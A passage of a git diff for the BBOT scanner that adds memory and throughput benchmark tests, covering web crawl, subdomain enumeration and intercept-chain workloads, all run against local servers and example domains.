+    },
+    force_start=True,
+)
+
+
+async def run():
+    await scan._prep()
+    gc.collect()
+    if tracemalloc.is_tracing():
+        tracemalloc.stop()
+
+    tracker = LiveEventTracker()
+    tracker.install()
+    sampler = RSSSampler(interval_s=0.2)
+    sampler.start()
+    tracemalloc.start()
+
+    # Count emitted events without holding strong refs. Holding them in a
+    # list would inflate live-event counts artificially — production
+    # callers iterate and discard.
+    events_seen = 0
+    checkpoints = []
+    proc = psutil.Process()
+    async for event in scan.async_start():
+        del event
+        events_seen += 1
+        if events_seen % CHECKPOINT_EVERY == 0:
+            checkpoints.append(
+                {
+                    "events_seen": events_seen,
+                    "rss_mb": round(proc.memory_info().rss / 1024 / 1024, 2),
+                    **tracker.census(),
+                    "residence": queue_residence(scan, tracker),
+                }
+            )
+
+    sampler.stop()
+    _, peak = tracemalloc.get_traced_memory()
+    tracemalloc.stop()
+
+    emit_metrics_json(
+        peak_tracemalloc_mb=round(peak / 1024 / 1024, 2),
+        num_seeds=NUM_SEEDS,
+        chain_length=CHAIN_LENGTH,
+        body_size=BODY_SIZE,
+        events_collected=events_seen,
+        rss=sampler.metrics(),
+        census=event_census(),
+        lineage=lineage_census(),
+        end_residence=queue_residence(scan, tracker),
+        checkpoints=checkpoints,
+    )
+
+
+asyncio.run(run())
+server.shutdown()
diff --git a/bbot/test/benchmarks/_scan_memory_subdomain_enum.py b/bbot/test/benchmarks/_scan_memory_subdomain_enum.py
new file mode 100644
index 0000000000..b84b8cff9a
--- /dev/null
+++ b/bbot/test/benchmarks/_scan_memory_subdomain_enum.py
@@ -0,0 +1,110 @@
+"""
+Subprocess script for subdomain enumeration memory benchmark.
+
+Injects SUBDOMAIN_ENUM_COUNT synthetic DNS_NAME events into a scan
+and prints peak tracemalloc memory to stdout.
+
+Invoked by test_scan_memory.py — not meant to be run directly.
+"""
+
+import gc
+import sys
+import asyncio
+import tracemalloc
+
+import psutil
+
+from bbot.scanner import Scanner
+from bbot.test.benchmarks._memory_helpers import (
+    LiveEventTracker,
+    RSSSampler,
+    event_census,
+    lineage_census,
+    queue_residence,
+    emit_metrics_json,
+)
+
+SUBDOMAIN_ENUM_COUNT = int(sys.argv[1])
+CHECKPOINT_EVERY = 1000  # mid-scan census cadence (events seen)
+
+scan = Scanner(
+    "example.com",
+    modules=[],
+    exclude_output_modules=["csv", "json", "txt"],
+    config={
+        "dns": {"disable": True},
+        "scope": {"search_distance": 0},
+        "web": {"spider_distance": 0, "spider_depth": 0},
+        "speculate": False,
+        "excavate": True,
+        "aggregate": False,
+        "cloudcheck": False,
+    },
+    force_start=True,
+)
+
+
+async def run():
+    await scan._prep()
+    gc.collect()
+    if tracemalloc.is_tracing():
+        tracemalloc.stop()
+
+    tracker = LiveEventTracker()
+    tracker.install()
+    sampler = RSSSampler(interval_s=0.2)
+    sampler.start()
+    tracemalloc.start()
+
+    # Count emitted events without holding strong refs. Holding them in a
+    # list would inflate live-event counts artificially — production
+    # callers iterate and discard.
+    events_seen = 0
+    checkpoints = []
+    injected = False
+    proc = psutil.Process()
+    async for event in scan.async_start():
+        events_seen += 1
+        is_scan = event.type == "SCAN"
+        # Read what we need; don't hold the event reference.
+        if is_scan and not injected:
+            injected = True
+            root_event = scan.root_event
+            for i in range(SUBDOMAIN_ENUM_COUNT):
+                dns_event = scan.make_event(
+                    f"sub{i}.example.com",
+                    "DNS_NAME",
+                    parent=root_event,
+                    context=f"benchmark DNS_NAME {i}",
+                )
+                await scan.ingress_module.queue_event(dns_event, {})
+                del dns_event
+            del root_event
+        del event
+        if events_seen % CHECKPOINT_EVERY == 0:
+            checkpoints.append(
+                {
+                    "events_seen": events_seen,
+                    "rss_mb": round(proc.memory_info().rss / 1024 / 1024, 2),
+                    **tracker.census(),
+                    "residence": queue_residence(scan, tracker),
+                }
+            )
+
+    sampler.stop()
+    _, peak = tracemalloc.get_traced_memory()
+    tracemalloc.stop()
+
+    emit_metrics_json(
+        peak_tracemalloc_mb=round(peak / 1024 / 1024, 2),
+        num_subdomains=SUBDOMAIN_ENUM_COUNT,
+        events_collected=events_seen,
+        rss=sampler.metrics(),
+        census=event_census(),
+        lineage=lineage_census(),
+        end_residence=queue_residence(scan, tracker),
+        checkpoints=checkpoints,
+    )
+
+
+asyncio.run(run())
diff --git a/bbot/test/benchmarks/_scan_memory_web_crawl.py b/bbot/test/benchmarks/_scan_memory_web_crawl.py
new file mode 100644
index 0000000000..a7ca72b7ec
--- /dev/null
+++ b/bbot/test/benchmarks/_scan_memory_web_crawl.py
@@ -0,0 +1,131 @@
+"""
+Subprocess script for web crawl memory benchmark.
+
+Launches a local HTTP server with NUM_PAGES pages (each BODY_SIZE bytes),
+runs a BBOT scan against it, and prints peak tracemalloc memory to stdout.
+
+Invoked by test_scan_memory.py — not meant to be run directly.
+"""
+
+import gc
+import sys
+import asyncio
+import threading
+import tracemalloc
+import importlib.util
+from http.server import HTTPServer, BaseHTTPRequestHandler
+
+import psutil
+
+from bbot.scanner import Scanner
+from bbot.test.benchmarks._memory_helpers import (
+    LiveEventTracker,
+    RSSSampler,
+    event_census,
+    lineage_census,
+    queue_residence,
+    emit_metrics_json,
+)
+
+NUM_PAGES = int(sys.argv[1])
+BODY_SIZE = int(sys.argv[2])
+CHECKPOINT_EVERY = 200  # mid-scan census cadence (events seen)
+
+HTTP_MODULE = "httpx" if importlib.util.find_spec("bbot.modules.httpx") else "http"
+
+
+class H(BaseHTTPRequestHandler):
+    def do_GET(self):
+        if self.path == "/":
+            links = "".join(f'<a href="/page{i}">page{i}</a>' for i in range(NUM_PAGES))
+            body = "<html><body>" + links + "</body></html>"
+        elif self.path.startswith("/page"):
+            i = self.path.replace("/page", "")
+            links = f'<a href="/data{i}/info">info</a><a href="/data{i}/details">details</a>'
+            body = "<html><body><h1>Page " + i + "</h1>" + links + "A" * BODY_SIZE + "</body></html>"
+        elif self.path.startswith("/data"):
+            body = "<html><body>data endpoint</body></html>"
+        else:
+            self.send_response(404)
+            self.end_headers()
+            return
+        self.send_response(200)
+        self.send_header("Content-Type", "text/html")
+        self.end_headers()
+        self.wfile.write(body.encode())
+
+    def log_message(self, *a):
+        pass
+
+
+server = HTTPServer(("127.0.0.1", 0), H)
+port = server.server_address[1]
+threading.Thread(target=server.serve_forever, daemon=True).start()
+
+scan = Scanner(
+    f"http://127.0.0.1:{port}/",
+    modules=[HTTP_MODULE],
+    exclude_output_modules=["csv", "json", "txt"],
+    config={
+        "dns": {"minimal": True},
+        "scope": {"search_distance": 0},
+        "web": {"spider_distance": 10, "spider_depth": 10, "spider_links_per_page": NUM_PAGES},
+        "speculate": True,
+        "excavate": True,
+        "aggregate": False,
+        "cloudcheck": False,
+    },
+    force_start=True,
+)
+
+
+async def run():
+    await scan._prep()
+    gc.collect()
+    if tracemalloc.is_tracing():
+        tracemalloc.stop()
+
+    tracker = LiveEventTracker()
+    tracker.install()
+    sampler = RSSSampler(interval_s=0.2)
+    sampler.start()
+    tracemalloc.start()
+
+    # Count emitted events without holding strong refs. Holding them in a
+    # list would inflate live-event counts artificially — production
+    # callers iterate and discard.
+    events_seen = 0
+    checkpoints = []
+    proc = psutil.Process()
+    async for event in scan.async_start():
+        del event
+        events_seen += 1
+        if events_seen % CHECKPOINT_EVERY == 0:
+            checkpoints.append(
+                {
+                    "events_seen": events_seen,
+                    "rss_mb": round(proc.memory_info().rss / 1024 / 1024, 2),
+                    **tracker.census(),
+                    "residence": queue_residence(scan, tracker),
+                }
+            )
+
+    sampler.stop()
+    _, peak = tracemalloc.get_traced_memory()
+    tracemalloc.stop()
+
+    emit_metrics_json(
+        peak_tracemalloc_mb=round(peak / 1024 / 1024, 2),
+        num_pages=NUM_PAGES,
+        body_size=BODY_SIZE,
+        events_collected=events_seen,
+        rss=sampler.metrics(),
+        census=event_census(),
+        lineage=lineage_census(),
+        end_residence=queue_residence(scan, tracker),
+        checkpoints=checkpoints,
+    )
+
+
+asyncio.run(run())
+server.shutdown()
diff --git a/bbot/test/benchmarks/test_event_memory_benchmarks.py b/bbot/test/benchmarks/test_event_memory_benchmarks.py
new file mode 100644
index 0000000000..dca3b5521e
--- /dev/null
+++ b/bbot/test/benchmarks/test_event_memory_benchmarks.py
@@ -0,0 +1,120 @@
+import random
+import tracemalloc
+
+import pytest
+
+from bbot.core.event.base import make_event
+
+
+class TestEventMemoryBenchmarks:
+    """
+    Benchmark tests for event memory footprint.
+
+    Simulates realistic scan workloads and measures per-event memory consumption.
+    Uses pytest-benchmark's extra_info to record memory metrics alongside timing data.
+    """
+
+    def setup_method(self):
+        random.seed(42)
+        self.common_tags = [
+            "in-scope",
+            "distance-0",
+            "subdomain",
+            "ipv4",
+            "resolved",
+            "a-record",
+            "aaaa-record",
+            "private-ip",
+            "microsoft",
+            "cdn",
+            "open-port",
+            "status-200",
+            "web",
+            "dir",
+            "endpoint",
+        ]
+
+    def _generate_scan_events(self, count):
+        """Generate a realistic mix of events simulating a subdomain enum + web crawl scan."""
+        rng = random.Random(42)
+        subdomains = ["www", "api", "mail", "ftp", "admin", "test", "dev", "staging", "blog", "cdn", "assets", "app"]
+        tlds = ["com", "org", "net", "io"]
+        events = []
+
+        for i in range(count):
+            kind = i % 5
+            if kind <= 1:
+                # DNS_NAME (~40%)
+                sub = rng.choice(subdomains)
+                data = f"{sub}{i}.example.{rng.choice(tlds)}"
+                event_type = "DNS_NAME"
+            elif kind == 2:
+                # IP_ADDRESS (~20%)
+                data = f"{rng.randint(1, 254)}.{rng.randint(1, 254)}.{rng.randint(1, 254)}.{rng.randint(1, 254)}"
+                event_type = "IP_ADDRESS"
+            elif kind == 3:
+                # URL_UNVERIFIED (~20%)
+                sub = rng.choice(subdomains)
+                data = f"http://{sub}{i}.example.{rng.choice(tlds)}/path{i}"
+                event_type = "URL_UNVERIFIED"
+            else:
+                # OPEN_TCP_PORT (~20%)
+                data = f"{rng.choice(subdomains)}{i}.example.{rng.choice(tlds)}:{rng.choice([80, 443, 8080, 8443])}"
+                event_type = "OPEN_TCP_PORT"
+
+            e = make_event(data, event_type, dummy=True)
+            # 5-10 tags per event, typical of a real scan
+            num_tags = 5 + (i % 6)
+            for tag in self.common_tags[:num_tags]:
+                e.add_tag(tag)
+            events.append(e)
+
+        return events
+
+    def _measure_memory(self, count):
+        """Create count events under tracemalloc and return (events, total_bytes, per_event_bytes)."""
+        # Warm up to exclude one-time allocations
+        _warmup = self._generate_scan_events(50)
+        del _warmup
+
+        tracemalloc.start()
+        snapshot_before = tracemalloc.take_snapshot()
+
+        events = self._generate_scan_events(count)
+
+        snapshot_after = tracemalloc.take_snapshot()
+        tracemalloc.stop()
+
+        stats = snapshot_after.compare_to(snapshot_before, "lineno")
+        total_bytes = sum(s.size_diff for s in stats if s.size_diff > 0)
+        per_event = total_bytes / count
+
+        return events, total_bytes, per_event
+
+    @pytest.mark.benchmark(group="event_memory_scan_simulation")
+    def test_event_memory_medium_scan(self, benchmark):
+        """Simulate a medium scan (~10K events) and measure per-event memory."""
+        count = 10_000
+
+        # Use benchmark for timing the event creation
+        benchmark.pedantic(lambda: self._generate_scan_events(count), iterations=1, rounds=3)
+
+        # Measure memory separately (tracemalloc + benchmark don't mix well)
+        events, total_bytes, per_event = self._measure_memory(count)
+        benchmark.extra_info["total_memory_bytes"] = total_bytes
+        benchmark.extra_info["per_event_bytes"] = round(per_event, 1)
+        benchmark.extra_info["total_memory_mb"] = round(total_bytes / 1024 / 1024, 2)
+        benchmark.extra_info["event_count"] = count
+
+    @pytest.mark.benchmark(group="event_memory_scan_simulation")
+    def test_event_memory_large_scan(self, benchmark):
+        """Simulate a large scan (~50K events) and measure per-event memory."""
+        count = 50_000
+
+        benchmark.pedantic(lambda: self._generate_scan_events(count), iterations=1, rounds=3)
+
+        events, total_bytes, per_event = self._measure_memory(count)
+        benchmark.extra_info["total_memory_bytes"] = total_bytes
+        benchmark.extra_info["per_event_bytes"] = round(per_event, 1)
+        benchmark.extra_info["total_memory_mb"] = round(total_bytes / 1024 / 1024, 2)
+        benchmark.extra_info["event_count"] = count
diff --git a/bbot/test/benchmarks/test_event_validation_benchmarks.py b/bbot/test/benchmarks/test_event_validation_benchmarks.py
index 4c34e7b3ed..2d2738670b 100644
--- a/bbot/test/benchmarks/test_event_validation_benchmarks.py
+++ b/bbot/test/benchmarks/test_event_validation_benchmarks.py
@@ -11,12 +11,10 @@ def setup_method(self):
         # Set deterministic random seed for reproducible benchmarks
         random.seed(42)
 
-        # Create a minimal scanner with no modules to isolate event validation performance
+        # Create a minimal scanner config to isolate event validation performance
         self.scanner_config = {
-            "modules": None,  # No modules to avoid overhead
-            "output_modules": None,  # No output modules
-            "dns": {"disable": True},  # Disable DNS to avoid network calls
-            "web": {"http_timeout": 1},  # Minimal timeouts
+            "dns": {"disable": True},
+            "web": {"http_timeout": 1},
         }
 
     def _generate_diverse_targets(self, count=1000):
diff --git a/bbot/test/benchmarks/test_excavate_benchmarks.py b/bbot/test/benchmarks/test_excavate_benchmarks.py
index bbf2f04b4a..8dbeb82fe4 100644
--- a/bbot/test/benchmarks/test_excavate_benchmarks.py
+++ b/bbot/test/benchmarks/test_excavate_benchmarks.py
@@ -1,7 +1,11 @@
+import importlib.util
+
 import pytest
 import asyncio
 from bbot.scanner import Scanner
 
+HTTP_MODULE = "httpx" if importlib.util.find_spec("bbot.modules.httpx") else "http"
+
 
 class TestExcavateDirectBenchmarks:
     """
@@ -99,7 +103,7 @@ def _generate_realistic_content(self, index):
     async def _run_excavate_single_thread(self, text_segments):
         """Run excavate processing in single thread"""
         # Create scanner and initialize excavate
-        scan = Scanner("example.com", modules=["httpx"], config={"excavate": True})
+        scan = Scanner("example.com", modules=[HTTP_MODULE], config={"excavate": True})
         await scan._prep()
         excavate_module = scan.modules.get("excavate")
 
@@ -140,7 +144,7 @@ async def track_emit_event(event_data, *args, **kwargs):
     async def _run_excavate_parallel_tasks(self, text_segments):
         """Run excavate processing with parallel asyncio tasks"""
         # Create scanner and initialize excavate
-        scan = Scanner("example.com", modules=["httpx"], config={"excavate": True})
+        scan = Scanner("example.com", modules=[HTTP_MODULE], config={"excavate": True})
         await scan._prep()
         excavate_module = scan.modules.get("excavate")
 
diff --git a/bbot/test/benchmarks/test_intercept_throughput_benchmarks.py b/bbot/test/benchmarks/test_intercept_throughput_benchmarks.py
new file mode 100644
index 0000000000..4fea8ec1da
--- /dev/null
+++ b/bbot/test/benchmarks/test_intercept_throughput_benchmarks.py
@@ -0,0 +1,249 @@
+"""
+Intercept-pipeline throughput benchmarks.
+
+Measures how fast events flow through BBOT's intercept chain (dnsresolve,
+cloudcheck, speculate, portfilter, excavate). Single-threaded modules in
+this chain bound overall scan throughput, so changes there are most easily
+observed here.
+
+Two scenarios:
+
+  - `TestInterceptThroughputBenchmarks`: real scan, CIDR target. Speculate
+    expands the CIDR into IP_ADDRESS events that traverse the chain. One
+    host per event (the IP itself), so per-event cloudcheck cost is minimal.
+
+  - `TestInterceptCloudcheckDNSThroughput`: synthetic DNS_NAME events with
+    populated `resolved_hosts`, injected directly into the intercept chain.
+    Mirrors the heavy-subdomain-enum hot path where each event carries a
+    hostname plus a small set of resolved IPs, so cloudcheck runs N+1
+    lookups per event. This is the path that exhibits queue backlog in
+    real scans; the CIDR scenario underestimates it.
+
+Run with:
+    pytest bbot/test/benchmarks/test_intercept_throughput_benchmarks.py -v --benchmark-only
+"""
+
+import asyncio
+from contextlib import suppress
+
+import pytest
+
+from bbot.scanner import Scanner
+from bbot.constants import SCAN_STATUS_RUNNING
+
+
+def _run_scan(cidr):
+    config = {
+        "scope": {"search_distance": 0, "report_distance": 0},
+        "dns": {"disable": True},
+        "modules": {"speculate": {"ports": "80,443"}},
+        "omit_event_types": [],
+    }
+
+    scan = Scanner(cidr, config=config)
+    event_counts = {}
+
+    async def _inner():
+        async for event in scan.async_start():
+            event_counts[event.type] = event_counts.get(event.type, 0) + 1
+
+    asyncio.run(_inner())
+    return event_counts
+
+
+class TestInterceptThroughputBenchmarks:
+    """Throughput of the intercept pipeline under IP-heavy workloads."""
+
+    @pytest.mark.benchmark(group="intercept_throughput_small")
+    def test_intercept_throughput_small(self, benchmark):
+        """/22 (1024 IPs) — modest fan-out, dominated by per-event intercept cost."""
+        counts = benchmark.pedantic(_run_scan, args=("10.0.0.0/22",), rounds=3, warmup_rounds=1)
+        assert counts.get("IP_RANGE", 0) >= 1, f"expected ≥1 IP_RANGE event, got {counts}"
+
+    @pytest.mark.benchmark(group="intercept_throughput_medium")
+    def test_intercept_throughput_medium(self, benchmark):
+        """/20 (4096 IPs) — larger fan-out exercising the intercept queue under load."""
+        counts = benchmark.pedantic(_run_scan, args=("10.0.0.0/20",), rounds=3, warmup_rounds=1)
+        assert counts.get("IP_RANGE", 0) >= 1, f"expected ≥1 IP_RANGE event, got {counts}"
+
+
+def _run_dns_throughput(num_events, resolved_ips_per_event, busy_tasks, inherit_from_parent=False):
+    """
+    Push `num_events` synthetic DNS_NAME events through the intercept chain
+    and return throughput in events/sec.
+
+    Each event carries `resolved_ips_per_event` resolved IPs, so cloudcheck
+    looks up the original hostname plus N IPs. `busy_tasks` spawns no-op
+    coroutines that pump the event loop, simulating contention from other
+    work in a real scan.
+
+    If `inherit_from_parent` is True, all events share a single parent
+    event that has already been through cloudcheck. This exercises the
+    parent-inheritance fast path where children skip the lookup loop.
+    """
+    # disable dns (no resolution) and speculate (no port expansion); this leaves
+    # cloudcheck + excavate as the only intercept stages between ingress/egress.
+    # cloudcheck is off-by-default under bbot/test/test.conf, so explicitly enable it.
+    config = {
+        "scope": {"search_distance": 0, "report_distance": 0},
+        "dns": {"disable": True},
+        "speculate": False,
+        "cloudcheck": True,
+        "omit_event_types": [],
+    }
+    scan = Scanner("blacklanternsecurity.com", config=config)
+
+    async def _inner():
+        await scan._prep()
+
+        intercept_modules = scan.intercept_modules
+        cloudcheck_idx = next((i for i, m in enumerate(intercept_modules) if m.name == "cloudcheck"), -1)
+        assert cloudcheck_idx >= 0, f"cloudcheck not in intercept chain: {[m.name for m in intercept_modules]}"
+        # we only run workers up to and including cloudcheck. excavate's worker
+        # would race with us on cloudcheck.outgoing (= excavate.incoming) and
+        # consume events before the drain can see them. _scan_egress has no
+        # outgoing queue at all (it fans out to scan modules).
+        active_chain = intercept_modules[: cloudcheck_idx + 1]
+        first = active_chain[0]
+        cloudcheck_mod = active_chain[-1]
+        drain_queue = cloudcheck_mod.outgoing_event_queue
+
+        # synthesize events: each one looks like a freshly-resolved DNS_NAME
+        # with a populated `resolved_hosts` set
+        resolved_pool = [f"10.{(i >> 16) & 0xFF}.{(i >> 8) & 0xFF}.{i & 0xFF}" for i in range(resolved_ips_per_event)]
+
+        # If we're benchmarking the parent-inheritance fast path, build a
+        # parent event that's already been through cloudcheck and stash a
+        # `_cloudcheck_hosts` snapshot containing every child's host_original
+        # plus the resolved IPs. Children whose hosts are a subset of that
+        # snapshot will inherit and skip the lookup phase.
+        parent_event = scan.root_event
+        if inherit_from_parent:
+            parent_event = scan.make_event(
+                "parent.bench.example.com",
+                "DNS_NAME",
+                parent=scan.root_event,
+                tags=["resolved", "a-record"],
+            )
+            # parent's resolved_hosts must cover every child's host set so
+            # cloudcheck's inheritance subset check passes. each child uses
+            # unique data (so ScanIngress dedup lets them through) but a
+            # host set that's a subset of parent's.
+            child_hosts = {f"sub{i}.bench.example.com" for i in range(num_events)}
+            parent_event.resolved_hosts = child_hosts | set(resolved_pool)
+            parent_event.scope_distance = 0
+            parent_event._cloudcheck_done = True
+            # empty host_metadata = no provider matches recorded; inheritance
+            # path only needs the done flag + host coverage, not match data
+            parent_event._host_metadata = {}
+
+        events = []
+        for i in range(num_events):
+            event = scan.make_event(
+                f"sub{i}.bench.example.com",
+                "DNS_NAME",
+                parent=parent_event,
+                tags=["resolved", "a-record"],
+            )
+            event.resolved_hosts = resolved_pool
+            event.scope_distance = 0
+            events.append(event)
+
+        # the intercept worker loops exit immediately while `scan.stopping` is true,
+        # and `stopping` is true unless the scan's status_code is in the RUNNING band.
+        # async_start() normally flips this; we're bypassing async_start so we flip it ourselves.
+        await scan._set_status(SCAN_STATUS_RUNNING)
+
+        # start workers only for ingress → … → cloudcheck (no downstream race)
+        worker_tasks = []
+        for mod in active_chain:
+            for _ in range(mod.module_threads):
+                worker_tasks.append(asyncio.create_task(mod._worker()))
+
+        # optional event-loop pressure
+        busy = [asyncio.create_task(_busy_loop()) for _ in range(busy_tasks)]
+
+        # drain task — pull from the last intercept module's outgoing queue
+        received = 0
+
+        async def _drain():
+            nonlocal received
+            while received < num_events:
+                event, _kwargs = await drain_queue.get()
+                received += 1
+
+        # inject + measure
+        loop = asyncio.get_event_loop()
+        start = loop.time()
+        for event in events:
+            first.incoming_event_queue.put_nowait((event, {}))
+        try:
+            await asyncio.wait_for(_drain(), timeout=300)
+        finally:
+            for t in worker_tasks + busy:
+                t.cancel()
+            for t in worker_tasks + busy:
+                with suppress(asyncio.CancelledError, BaseException):
+                    await t
+            elapsed = loop.time() - start
+
+        # tear down scan resources
+        with suppress(BaseException):
+            await scan._cleanup()
+
+        return received / max(elapsed, 1e-9)
+
+    return asyncio.run(_inner())
+
+
+async def _busy_loop():
+    """
+    Mimics another module doing periodic small work — yields control about
+    every millisecond. A tight `sleep(0)` spin would 100%-saturate the loop
+    and catastrophically starve a single-coro intercept worker; this is
+    closer to what a real concurrent module looks like.
+    """
+    while True:
+        await asyncio.sleep(0.001)
+
+
+class TestInterceptCloudcheckDNSThroughput:
+    """
+    Synthetic DNS_NAME throughput — direct injection into the intercept chain.
+
+    Faithfully reproduces the heavy-subdomain-enum hot path where each
+    DNS_NAME event carries 2-5 resolved hosts. This stresses cloudcheck's
+    per-event lookup loop, which is the path observed to back up in
+    production scans.
+    """
+
+    @pytest.mark.benchmark(group="cloudcheck_dns_throughput_quiet")
+    def test_dns_throughput_quiet(self, benchmark):
+        """1000 DNS_NAME events × 3 resolved IPs, no event-loop pressure."""
+        rate = benchmark.pedantic(_run_dns_throughput, args=(1000, 3, 0), rounds=3, warmup_rounds=1)
+        benchmark.extra_info["events_per_sec"] = round(rate, 1)
+        assert rate > 0, f"expected positive throughput, got {rate}"
+
+    @pytest.mark.benchmark(group="cloudcheck_dns_throughput_loaded")
+    def test_dns_throughput_loaded(self, benchmark):
+        """500 DNS_NAME events × 3 resolved IPs, 20 busy tasks pumping the loop."""
+        rate = benchmark.pedantic(_run_dns_throughput, args=(500, 3, 20), rounds=2, warmup_rounds=0)
+        benchmark.extra_info["events_per_sec"] = round(rate, 1)
+        assert rate > 0, f"expected positive throughput, got {rate}"
+
+    @pytest.mark.benchmark(group="cloudcheck_dns_throughput_inherited")
+    def test_dns_throughput_inherited(self, benchmark):
+        """
+        1000 DNS_NAME events × 3 resolved IPs, all sharing a parent that has
+        already been through cloudcheck. Exercises the parent-inheritance
+        fast path that skips per-event lookups.
+        """
+        rate = benchmark.pedantic(
+            _run_dns_throughput,
+            args=(1000, 3, 0),
+            kwargs={"inherit_from_parent": True},
+            rounds=3,
+            warmup_rounds=1,
+        )
+        benchmark.extra_info["events_per_sec"] = round(rate, 1)
+        assert rate > 0, f"expected positive throughput, got {rate}"
diff --git a/bbot/test/benchmarks/test_scan_memory.py b/bbot/test/benchmarks/test_scan_memory.py
new file mode 100644
index 0000000000..760be8568c
--- /dev/null
+++ b/bbot/test/benchmarks/test_scan_memory.py
@@ -0,0 +1,197 @@
+"""
+Memory benchmarks for BBOT scan patterns.
+
+Each benchmark launches a scan as a subprocess so tracemalloc / RSS
+measurements are not contaminated by pytest's own allocations. The
+subprocess emits a single ``METRICS_JSON:`` line containing four
+measurement angles, all of which are surfaced to pytest-benchmark via
+``benchmark.extra_info``:
+
+  - ``peak_tracemalloc_mb``: Python-side peak (legacy headline metric;
+    misses Rust / lxml / yara allocations).
+  - ``rss.peak_rss_mb`` / ``rss.end_rss_mb`` / ``rss.retention_rss_mb``:
+    OS-level RSS sampled every ~200 ms. ``retention_rss_mb`` is the
+    median of the last 25% of samples — the metric most sensitive to
+    "stuck for the rest of the scan" pathology.
+  - ``census``: live BaseEvent count by type + HTTP_RESPONSE body MB
+    at scan-end. Answers "where is the memory going?".
+  - ``lineage``: every live event's parent chain walked back to the
+    seed; reports max chain depth and which seeds pin the most events.
+    Answers "is the chain holding things alive?".
+
+A backward-compatible ``PEAK_MB:`` line is still emitted by
+``_memory_helpers.emit_metrics_json`` for any external readers.
+"""
+
+import json
+import subprocess
+import sys
+from pathlib import Path
+
+import pytest
+
+
+NUM_PAGES = 1000
+BODY_SIZE = 1_000_000  # 1 MB per page → 1 GB served
+SUBDOMAIN_ENUM_COUNT = 20_000
+DEEP_CHAIN_LENGTH = 200
+DEEP_CHAIN_BODY_SIZE = 1_000_000  # 1 MB per page
+
+# Parallel-chains workload: simulates real-scale scans with many concurrent
+# targets. Even when each chain is naturally serial, the union across chains
+# is where bodies pile up — the pathology a single deep chain cannot reproduce.
+PARALLEL_NUM_SEEDS = 50
+PARALLEL_CHAIN_LENGTH = 30
+PARALLEL_BODY_SIZE = 500_000
+
+_BENCHMARKS_DIR = Path(__file__).parent
+
+
+def _run_scan_subprocess(script_path: Path, *args: str) -> dict:
+    """Run a scan script in a clean subprocess; return parsed metrics dict."""
+    result = subprocess.run(
+        [sys.executable, str(script_path), *args],
+        capture_output=True,
+        text=True,
+        timeout=600,
+    )
+    if result.returncode != 0:
+        raise RuntimeError(f"Scan subprocess failed:\n{result.stderr[-2000:]}")
+    metrics = None
+    for line in result.stdout.strip().splitlines():
+        if line.startswith("METRICS_JSON:"):
+            metrics = json.loads(line[len("METRICS_JSON:") :])
+    if metrics is None:
+        raise RuntimeError(f"No METRICS_JSON in subprocess output:\n{result.stdout[-2000:]}")
+    return metrics
+
+
+def _record(benchmark, metrics: dict, **extra) -> None:
+    """Flatten the metrics dict into ``benchmark.extra_info``."""
+    benchmark.extra_info["total_memory_mb"] = metrics["peak_tracemalloc_mb"]
+    benchmark.extra_info["events_collected"] = metrics["events_collected"]
+
+    rss = metrics["rss"]
+    benchmark.extra_info["peak_rss_mb"] = rss["peak_rss_mb"]
+    benchmark.extra_info["end_rss_mb"] = rss["end_rss_mb"]
+    benchmark.extra_info["retention_rss_mb"] = rss["retention_rss_mb"]
+    benchmark.extra_info["rss_samples"] = rss["samples"]
+    benchmark.extra_info["scan_duration_s"] = rss["duration_s"]
+
+    census = metrics["census"]
+    benchmark.extra_info["live_events"] = census["live_events"]
+    benchmark.extra_info["live_by_type"] = census["by_type"]
+    benchmark.extra_info["http_response_body_mb"] = census["http_response_body_mb"]
+    benchmark.extra_info["http_response_with_body"] = census["http_response_with_body"]
+
+    lineage = metrics["lineage"]
+    benchmark.extra_info["max_chain_depth"] = lineage["max_chain_depth"]
+    benchmark.extra_info["total_pinned_events"] = lineage["total_pinned_events"]
+    benchmark.extra_info["top_pinning_seeds"] = lineage["seeds"][:5]
+
+    # Mid-scan checkpoints expose body-byte peaks before minimize() runs
+    # and the live-event growth curve that end-of-scan census misses.
+    checkpoints = metrics.get("checkpoints", [])
+    benchmark.extra_info["checkpoints"] = checkpoints
+    if checkpoints:
+        benchmark.extra_info["peak_live_events_midscan"] = max(c["live_events"] for c in checkpoints)
+        benchmark.extra_info["peak_body_mb_midscan"] = max(c["http_response_body_mb"] for c in checkpoints)
+        # Residence peaks: max in-pipeline (queued or being handled) vs
+        # max chain-only (alive solely because the parent chain pins them).
+        residences = [c["residence"] for c in checkpoints if "residence" in c]
+        if residences:
+            benchmark.extra_info["peak_in_pipeline_midscan"] = max(r["in_pipeline"] for r in residences)
+            benchmark.extra_info["peak_chain_only_midscan"] = max(r["chain_only"] for r in residences)
+            benchmark.extra_info["peak_queue_total_midscan"] = max(r["queue_total"] for r in residences)
+
+    end_residence = metrics.get("end_residence")
+    if end_residence is not None:
+        benchmark.extra_info["end_residence"] = end_residence
+
+    for k, v in extra.items():
+        benchmark.extra_info[k] = v
+
+
+class TestWebCrawlMemory:
+    """Wide-and-shallow web crawl: every page hangs off ``/``."""
+
+    @pytest.mark.benchmark(group="memory_scan_patterns")
+    def test_memory_use_web_crawl(self, benchmark):
+        metrics = _run_scan_subprocess(
+            _BENCHMARKS_DIR / "_scan_memory_web_crawl.py",
+            str(NUM_PAGES),
+            str(BODY_SIZE),
+        )
+        _record(benchmark, metrics, num_pages=NUM_PAGES, body_size=BODY_SIZE)
+        benchmark.pedantic(lambda: None, iterations=1, rounds=1, warmup_rounds=0)
+
+
+class TestSubdomainEnumMemory:
+    """Synthetic breadth-only workload: ``SUBDOMAIN_ENUM_COUNT`` injected DNS_NAME events."""
+
+    @pytest.mark.benchmark(group="memory_scan_patterns")
+    def test_memory_use_subdomain_enum(self, benchmark):
+        metrics = _run_scan_subprocess(
+            _BENCHMARKS_DIR / "_scan_memory_subdomain_enum.py",
+            str(SUBDOMAIN_ENUM_COUNT),
+        )
+        _record(benchmark, metrics, num_subdomains=SUBDOMAIN_ENUM_COUNT)
+        benchmark.pedantic(lambda: None, iterations=1, rounds=1, warmup_rounds=0)
+
+
+class TestDeepChainMemory:
+    """
+    Deep-and-narrow spider: page N links only to page N+1.
+
+    Designed to expose chain-retention pathology — long parent lineage
+    with HTTP_RESPONSE bodies pinned via ``parent`` references. Compare
+    ``retention_rss_mb`` and ``max_chain_depth`` against the wide
+    workload to gauge how much memory is held by lineage vs. burst.
+    """
+
+    @pytest.mark.benchmark(group="memory_scan_patterns")
+    def test_memory_use_deep_chain(self, benchmark):
+        metrics = _run_scan_subprocess(
+            _BENCHMARKS_DIR / "_scan_memory_deep_chain.py",
+            str(DEEP_CHAIN_LENGTH),
+            str(DEEP_CHAIN_BODY_SIZE),
+        )
+        _record(
+            benchmark,
